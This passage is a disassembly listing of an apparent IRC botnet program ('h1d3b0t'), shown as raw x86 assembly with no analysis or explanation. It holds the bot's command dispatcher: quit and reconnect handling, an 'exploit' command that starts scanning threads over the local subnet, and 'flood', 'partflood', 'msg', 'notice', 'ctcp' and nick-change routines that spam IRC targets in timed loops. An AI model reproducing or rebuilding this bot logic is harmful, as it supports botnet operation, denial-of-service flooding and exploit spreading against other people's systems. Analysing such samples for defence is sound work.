call sub_40993C
pop ecx
pop ecx
loc_40456B: ; CODE XREF: sub_401B66+29D2j
; sub_401B66+29E1j ...
push 0FFFFFFFEh
pop eax
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401B66+154Cj
; sub_401B66+1561j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_40993C
push offset dword_42D010
call sub_4157A5
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_404595: ; CODE XREF: sub_401B66+1522j
; sub_401B66+1537j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40993C
push offset dword_42CFDC
call sub_4157A5
add esp, 0Ch
jmp loc_4096DB
; ---------------------------------------------------------------------------
loc_4045B4: ; CODE XREF: sub_401B66+14F8j
; sub_401B66+150Dj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B656
jmp loc_404984
; ---------------------------------------------------------------------------
loc_4045CA: ; CODE XREF: sub_401B66+14CEj
; sub_401B66+14E3j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B602
jmp loc_404984
; ---------------------------------------------------------------------------
loc_4045E0: ; CODE XREF: sub_401B66+14A4j
; sub_401B66+14B9j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B597
jmp loc_404984
; ---------------------------------------------------------------------------
loc_4045F6: ; CODE XREF: sub_401B66+147Aj
; sub_401B66+148Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B4C9
jmp loc_404984
; ---------------------------------------------------------------------------
loc_40460C: ; CODE XREF: sub_401B66+13D5j
; sub_401B66+13EAj
push [ebp+esi+var_8C]
push 27h
push offset dword_42CFCC
push offset dword_42CFBC
jmp short loc_404634
; ---------------------------------------------------------------------------
loc_404621: ; CODE XREF: sub_401B66+13ABj
; sub_401B66+13C0j
push [ebp+esi+var_8C]
push 24h
push offset dword_42CFB0
push offset dword_42CFA0
loc_404634: ; CODE XREF: sub_401B66+FB0j
; sub_401B66+1003j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B215
add esp, 20h
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_404650: ; CODE XREF: sub_401B66+FC4j
; sub_401B66+FD9j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40466F
push edi
call sub_41BF49
test eax, eax
pop ecx
jz short loc_40466F
push edi
call sub_41BF49
pop ecx
jmp short loc_404674
; ---------------------------------------------------------------------------
loc_40466F: ; CODE XREF: sub_401B66+2AF3j
; sub_401B66+2AFEj
mov eax, dword_42A078
loc_404674: ; CODE XREF: sub_401B66+2B07j
mov esi, [ebp+esi+var_88]
mov [ebp+var_58C], eax
cmp esi, ebx
jz short loc_404699
push esi
loc_404686: ; CODE XREF: sub_401B66+2B42j
lea eax, [ebp+var_59C]
push 10h
push eax
call sub_41C150
add esp, 0Ch
jmp short loc_4046B0
; ---------------------------------------------------------------------------
loc_404699: ; CODE XREF: sub_401B66+2B1Dj
cmp [ebp+var_8FB], bl
jz short loc_4046AA
lea eax, [ebp+var_C0]
push eax
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_4046AA: ; CODE XREF: sub_401B66+2B39j
mov [ebp+var_59C], bl
loc_4046B0: ; CODE XREF: sub_401B66+2B31j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_580], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_57C], eax
lea eax, [ebp+var_61C]
push eax
mov [ebp+var_620], esi
call sub_41C150
add esp, 0Ch
push [ebp+var_58C]
push esi
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CF78
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 19h
push eax
call sub_40AF8D
add esp, 1Ch
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_620]
push ebx
push eax
push offset sub_411833
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_404764
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42CF3C
jmp loc_4098EA
; ---------------------------------------------------------------------------
loc_40475C: ; CODE XREF: sub_401B66+2C04j
push 32h
call dword_428064 ; Sleep
loc_404764: ; CODE XREF: sub_401B66+2BE3j
cmp [ebp+var_578], ebx
jz short loc_40475C
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_404771: ; CODE XREF: sub_401B66+F71j
; sub_401B66+F86j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404791
push esi
call sub_41BF49
test ax, ax
pop ecx
jz short loc_404791
push esi
call sub_41BF49
pop ecx
jmp short loc_404797
; ---------------------------------------------------------------------------
loc_404791: ; CODE XREF: sub_401B66+2C14j
; sub_401B66+2C20j
mov ax, word_42A084
loc_404797: ; CODE XREF: sub_401B66+2C29j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_978], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_968], eax
lea eax, [ebp+var_9F8]
push eax
mov [ebp+var_9FC], esi
mov [ebp+var_96C], edi
call sub_41C150
movzx eax, [ebp+var_978]
add esp, 0Ch
push eax
push esi
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42CF10
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409982
push ebx
lea eax, [ebp+var_2C0]
push 6
push eax
call sub_40AF8D
add esp, 30h
mov [ebp+var_974], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_9FC]
push ebx
push eax
push offset sub_40EDB1
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_974]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_404869
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42CED0
jmp loc_4098EA
; ---------------------------------------------------------------------------
loc_404861: ; CODE XREF: sub_401B66+2D09j
push 32h
call dword_428064 ; Sleep
loc_404869: ; CODE XREF: sub_401B66+2CE8j
cmp [ebp+var_964], ebx
jz short loc_404861
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_404876: ; CODE XREF: sub_401B66+F1Dj
; sub_401B66+F32j ...
push edi
push offset aSecure ; "secure"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_40489E
push edi
push offset aSec ; "sec"
call sub_41C840
pop ecx
mov [ebp+var_A0C], ebx
test eax, eax
pop ecx
jnz short loc_4048A8
loc_40489E: ; CODE XREF: sub_401B66+2D1Fj
mov [ebp+var_A0C], 1
loc_4048A8: ; CODE XREF: sub_401B66+2D36j
push [ebp+var_88]
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A0C], ebx
mov [ebp+var_A94], eax
mov eax, [ebp+var_4]
mov [ebp+var_A08], eax
mov eax, [ebp+var_8]
mov [ebp+var_A04], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4048EF
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4048EF: ; CODE XREF: sub_401B66+2D82j
push eax
push offset dword_42CE9C
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
push ebx
lea eax, [ebp+var_2C0]
push 22h
push eax
call sub_40AF8D
add esp, 1Ch
mov [ebp+var_A10], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A94]
push ebx
push eax
push offset sub_41A5C8
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_A10]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_404966
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42CE60
jmp loc_408338
; ---------------------------------------------------------------------------
loc_40495E: ; CODE XREF: sub_401B66+2E06j
push 32h
call dword_428064 ; Sleep
loc_404966: ; CODE XREF: sub_401B66+2DE5j
cmp [ebp+var_A00], ebx
jz short loc_40495E
jmp loc_402418
; ---------------------------------------------------------------------------
loc_404973: ; CODE XREF: sub_401B66+EF3j
; sub_401B66+F08j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41AE7F
loc_404984: ; CODE XREF: sub_401B66+2A5Fj
; sub_401B66+2A75j ...
add esp, 0Ch
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_40498C: ; CODE XREF: sub_401B66+EC9j
; sub_401B66+EDEj
push offset unk_42CDB0
jmp loc_40621B
; ---------------------------------------------------------------------------
loc_404996: ; CODE XREF: sub_401B66+E9Fj
; sub_401B66+EB4j
push offset aH1d3b0tVersion ; "h1d3b0t Version h4cker"
push offset dword_42CD9C
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_4049A5: ; CODE XREF: sub_401B66+E75j
; sub_401B66+E8Aj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404A01
push esi
call sub_41BF49
cmp eax, ebx
pop ecx
jl short loc_4049F6
cmp eax, 1
jge short loc_4049F6
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_4049EB
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42E058
push eax
call sub_41C056
mov [esi], bl
jmp loc_405F6A
; ---------------------------------------------------------------------------
loc_4049EB: ; CODE XREF: sub_401B66+2E67j
push eax
push offset unk_42CD70
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_4049F6: ; CODE XREF: sub_401B66+2E53j
; sub_401B66+2E58j
push eax
push offset unk_42CD44
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401B66+2E48j
mov edi, [ebp+arg_18]
xor esi, esi
loc_404A06: ; CODE XREF: sub_401B66+2EBCj
push [ebp+var_90]
push edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_404A29
inc esi
add edi, 80h
cmp esi, 1
jl short loc_404A06
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_404A29: ; CODE XREF: sub_401B66+2EB0j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset unk_42E058
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_404A43: ; CODE XREF: sub_401B66+E4Bj
; sub_401B66+E60j
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403465
call sub_40B150
push ebx
call dword_428068 ; ExitProcess
loc_404A69: ; CODE XREF: sub_401B66+1938j
push offset aGet ; "get"
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_404B0F
cmp dword_4D14F4, ebx
jz short loc_404A95
push offset dword_4D0ED8
push offset unk_42CD08
jmp loc_404B21
; ---------------------------------------------------------------------------
loc_404A95: ; CODE XREF: sub_401B66+2F1Ej
push 10h
pop eax
mov [ebp+var_2D4], eax
push eax
lea eax, [ebp+var_2E4]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_2E4]
push eax
push [ebp+arg_4]
call dword_428230 ; getsockname
movzx eax, [ebp+var_2DE]
push eax
movzx eax, [ebp+var_2DF]
push eax
movzx eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_D9C]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C056
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42CD08
push eax
call sub_41C056
add esp, 20h
jmp loc_4034BD
; ---------------------------------------------------------------------------
loc_404B0F: ; CODE XREF: sub_401B66+2F12j
push esi
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404B35
push offset unk_42CCC8
loc_404B21: ; CODE XREF: sub_401B66+2F2Aj
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
jmp loc_4034BD
; ---------------------------------------------------------------------------
loc_404B35: ; CODE XREF: sub_401B66+2FB4j
push offset dword_4D0ED8
call sub_41C680
push esi
lea eax, [ebp+var_2C0]
push offset unk_42CC9C
push eax
mov dword_4D14F4, 1
call sub_41C056
add esp, 14h
jmp loc_4034BD
; ---------------------------------------------------------------------------
loc_404B63: ; CODE XREF: sub_401B66+1920j
push edi
push offset aExploit ; "exploit"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_404C5C
mov eax, [ebp+var_4]
mov esi, offset aGxxx_0 ; "#Gxxx"
mov [ebp+var_13E0], eax
mov eax, [ebp+var_8]
mov [ebp+var_13DC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F0], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1470]
push edi
push eax
mov [ebp+var_13E8], 1
call sub_41C150
push esi
lea eax, [ebp+var_14F0]
push edi
push eax
call sub_41C150
push [ebp+arg_10]
lea eax, [ebp+var_1500]
push 10h
push eax
call sub_41C150
lea eax, [ebp+var_1500]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42CC64
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 8
push eax
call sub_40AF8D
add esp, 3Ch
mov [ebp+var_13E4], eax
lea eax, [ebp+var_308]
push eax
lea eax, [ebp+var_1500]
push ebx
push eax
push offset sub_40B71C
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_13E4]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_404C4F
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42CC24
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_404C47: ; CODE XREF: sub_401B66+30EFj
push 32h
call dword_428064 ; Sleep
loc_404C4F: ; CODE XREF: sub_401B66+30CEj
cmp [ebp+var_13D8], ebx
jz short loc_404C47
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_404C5C: ; CODE XREF: sub_401B66+300Cj
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4096E2
push edi
push offset aRin ; "rin"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4096E2
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40969C
push edi
push offset aRinms ; "rinms"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40969C
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C840
mov edi, dword_428064
pop ecx
test eax, eax
pop ecx
jnz loc_405818
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C840
add esp, 0Ch
test eax, eax
jnz short loc_404D5F
cmp [ebp+esi+var_80], ebx
jz short loc_404D5F
push [ebp+esi+var_80]
call sub_41BF49
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41BF49
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417FB1
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42CBBC
push eax
call sub_41C056
add esp, 20h
cmp [ebp+var_8], ebx
jnz short loc_404D5F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_404D5F: ; CODE XREF: sub_401B66+3185j
; sub_401B66+318Bj ...
push [ebp+arg_10]
push offset dword_42CBB8
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404DC8
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DC8
push offset asc_42E0C8 ; " "
push offset dword_42CBB4
push eax
call sub_4185D4
push eax
lea eax, [ebp+var_50F0]
push eax
call sub_41C680
lea eax, [ebp+var_50F0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42CBA4
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 28h
loc_404DC8: ; CODE XREF: sub_401B66+320Aj
; sub_401B66+3215j
push [ebp+arg_10]
push offset dword_42CBA0
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404E31
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E31
push offset asc_42E0C8 ; " "
push offset dword_42CBB4
push eax
call sub_4185D4
push eax
lea eax, [ebp+var_4BEC]
push eax
call sub_41C680
lea eax, [ebp+var_4BEC]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42CB8C
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 28h
loc_404E31: ; CODE XREF: sub_401B66+3273j
; sub_401B66+327Ej
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E9A
push offset asc_42E0C8 ; " "
push offset dword_42CBB4
push eax
call sub_4185D4
push eax
lea eax, [ebp+var_46E8]
push eax
call sub_41C680
lea eax, [ebp+var_46E8]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 28h
loc_404E9A: ; CODE XREF: sub_401B66+32DCj
; sub_401B66+32E7j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404F03
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404F03
push offset asc_42E0C8 ; " "
push offset dword_42CBB4
push eax
call sub_4185D4
push eax
lea eax, [ebp+var_4DEC]
push eax
call sub_41C680
lea eax, [ebp+var_4DEC]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 28h
loc_404F03: ; CODE XREF: sub_401B66+3345j
; sub_401B66+3350j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404F42
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F42
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
loc_404F42: ; CODE XREF: sub_401B66+33AEj
; sub_401B66+33B9j
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404F81
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F81
push eax
lea eax, [ebp+var_2C0]
push offset aPartS ; "part %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
loc_404F81: ; CODE XREF: sub_401B66+33EDj
; sub_401B66+33F8j
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_404FC5
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404FC5
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_404FC5: ; CODE XREF: sub_401B66+342Cj
; sub_401B66+3437j
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40503A
cmp [ebp+esi+var_88], ebx
jz short loc_40503A
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_1804]
push edx
push [ebp+esi+var_88]
push offset dword_42CB1C
push eax
call sub_41C056
lea eax, [ebp+var_1804]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
loc_40503A: ; CODE XREF: sub_401B66+3470j
; sub_401B66+3479j
push [ebp+arg_10]
push offset dword_42CB08
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz loc_405181
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
call sub_41C0B2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
call sub_41C0B2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
call sub_41C0B2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_405181: ; CODE XREF: sub_401B66+34E5j
; sub_401B66+34F2j
push [ebp+arg_10]
push offset dword_42CB04
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40521B
cmp [ebp+esi+var_88], ebx
jz short loc_40521B
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C0B2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C0]
push edx
push [ebp+esi+var_88]
push offset dword_42CADC
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
loc_40521B: ; CODE XREF: sub_401B66+362Cj
; sub_401B66+3639j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405318
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405318
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
lea eax, [ebp+var_4B8]
push eax
call sub_41802F
lea eax, [ebp+var_4B8]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4B8]
push eax
call sub_41802F
lea eax, [ebp+var_4B8]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
call sub_41C0B2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4B8]
push eax
call sub_41802F
lea eax, [ebp+var_4B8]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_405318: ; CODE XREF: sub_401B66+36C6j
; sub_401B66+36D5j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40535E
lea eax, [ebp+var_17CC]
push eax
call sub_41802F
lea eax, [ebp+var_17CC]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_40535E: ; CODE XREF: sub_401B66+37C3j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40544A
cmp [ebp+esi+var_88], ebx
jz loc_40544A
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42CBA4
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
call sub_41C0B2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42CBA4
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
call sub_41C0B2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42CBA4
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_40544A: ; CODE XREF: sub_401B66+3809j
; sub_401B66+3816j
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_405536
cmp [ebp+esi+var_88], ebx
jz loc_405536
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 24h
call sub_41C0B2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
call sub_41C0B2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 14h
loc_405536: ; CODE XREF: sub_401B66+38F5j
; sub_401B66+3902j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40564A
cmp [ebp+esi+var_88], ebx
jz loc_40564A
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42CA94
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 20h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42CA7C
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42CA64
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
call sub_41C0B2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42CA64
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 10h
loc_40564A: ; CODE XREF: sub_401B66+39E1j
; sub_401B66+39EEj
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40576D
cmp [ebp+esi+var_88], ebx
jz loc_40576D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42CA94
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_417CD6
add esp, 20h
